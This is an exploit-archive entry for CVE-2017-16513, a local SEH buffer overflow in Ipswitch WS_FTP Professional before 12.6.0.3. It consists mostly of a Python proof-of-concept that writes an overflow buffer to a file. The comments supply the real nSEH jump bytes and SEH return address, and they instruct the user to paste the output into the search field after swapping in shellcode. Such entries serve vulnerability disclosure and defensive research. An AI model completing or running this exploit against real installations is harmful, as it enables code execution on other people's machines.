Ipswitch WS_FTP Professional < 12.6.0.3 Local Buffer Overflow (SEH)

2017.11.06
Risk: High
Local: Yes
Remote: No
CWE: CWE-119

#!/usr/bin/python #Title: Ipswitch WS_FTP Professional Local Buffer Overflow (SEH) #Author: Kevin McGuigan. Twitter: @_h3xagram #Author Website: https://www.7elements.co.uk #Vendor Website: https://www.ipswitch.com #Date: 03/11/2017 #Version: 12.6.03 #CVE: CVE-2017-16513 #Tested on: Windows 7 32-bit #Use script to generate payload. Paste payload into search field, replace Ds with shellcode. #nSEH = "\x74\x08\x90\x90" #SEH = "\x31\x2D\x91\x23" buffer = "A" * 840 nSEH = "B" * 4 SEH = "C" * 4 f = open ("poc.txt", "w") f.write(buffer + nSEH + SEH + "D" * 200) f.close()


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